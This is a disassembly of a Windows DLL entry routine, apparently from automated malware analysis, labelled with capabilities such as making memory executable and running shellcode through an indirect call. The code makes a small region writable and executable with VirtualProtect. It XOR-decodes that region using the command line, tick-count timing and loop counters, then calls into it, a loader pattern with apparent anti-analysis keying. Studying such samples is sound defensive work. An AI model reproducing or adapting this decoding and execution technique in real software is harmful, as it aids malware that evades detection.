Function at 0x10001000
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
cmp eax, 3
ja case.default.0x1000100f
jmp dword [eax*4 + 0x10001288]
mov eax, dword [ebp + 8]
push ebx
push esi
push 0x1000a370
push 0x40
push 0x10
push fcn.100012e0
mov dword [0x1000a3ac], eax
mov dword [0x1000a400], 0x100012e0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
push 0x1000a254
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x1000a254
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x1000a400]
inc eax
mov dword [0x1000a36c], eax
mov eax, dword [0x1000a255]
mov dword [0x1000a3e8], eax
mov esi, dword [ecx]
xor esi, eax
push 0
mov dword [ecx], esi
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a3e8]
push 0
mov edx, dword [eax + 4]
push 0
xor edx, ecx
push 0
mov dword [eax + 4], edx
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a3e8]
mov ecx, dword [eax + 8]
xor ecx, edx
mov dword [eax + 8], ecx
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a3e8]
xor dword [eax + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x1000a3c0], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x1000a380], eax
mov eax, dword [0x1000a368]
mov dword [0x1000a360], 0
test eax, eax
je 0x100010f5
push eax
call ebx
mov dword [0x1000a368], 0
mov eax, 1
push str.Kernel32.dll
call esi
mov ecx, dword [0x1000a030]
mov dword [0x1000a368], eax
inc ecx
mov dword [0x1000a030], ecx
mov ecx, dword [0x1000a360]
inc ecx
cmp ecx, 0x2710
mov dword [0x1000a360], ecx
jb 0x100010e4
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a030]
add edx, 0xffffd8f5
mov ecx, dword [eax]
xor ecx, edx
mov dword [eax], ecx
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a030]
mov ebx, dword [eax + 4]
add ecx, 0xffffd8f5
xor ebx, ecx
mov dword [eax + 4], ebx
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a030]
mov esi, dword [eax + 8]
add edx, 0xffffd8f5
xor esi, edx
mov dword [eax + 8], esi
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a030]
mov edx, dword [eax + 0xc]
add ecx, 0xffffd8f5
xor edx, ecx
mov dword [eax + 0xc], edx
mov eax, dword [0x1000a360]
cmp eax, 0x270e
jbe 0x1000124c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [0x1000a380]
mov edx, 0xffffffc4
sub edx, esi
add eax, edx
mov dword [0x1000a380], eax
jns 0x100011c2
mov eax, dword [0x1000a3e8]
mov dword [0x1000a380], eax
jmp 0x10001207
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a360]
mov ebx, dword [eax]
xor ebx, ecx
mov dword [eax], ebx
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a360]
mov esi, dword [eax + 4]
xor esi, edx
mov dword [eax + 4], esi
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a360]
mov edx, dword [eax + 8]
xor edx, ecx
mov dword [eax + 8], edx
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a360]
xor dword [eax + 0xc], edx
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a380]
mov ebx, dword [eax]
xor ebx, ecx
mov dword [eax], ebx
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a380]
mov esi, dword [eax + 4]
xor esi, edx
mov dword [eax + 4], esi
mov eax, dword [0x1000a400]
mov ecx, dword [0x1000a380]
mov edx, dword [eax + 8]
xor edx, ecx
mov dword [eax + 8], edx
mov eax, dword [0x1000a400]
mov edx, dword [0x1000a380]
xor dword [eax + 0xc], edx
call fcn.100012e0
mov eax, dword [0x1000a358]
pop esi
pop ebx
pop ebp
ret 0xc
call fcn.100018f0
mov eax, dword [0x1000a358]
pop ebp
ret 0xc
call fcn.10001920
mov eax, dword [0x1000a358]
pop ebp
ret 0xc
call fcn.10001950
mov eax, dword [0x1000a358]
pop ebp
ret 0xc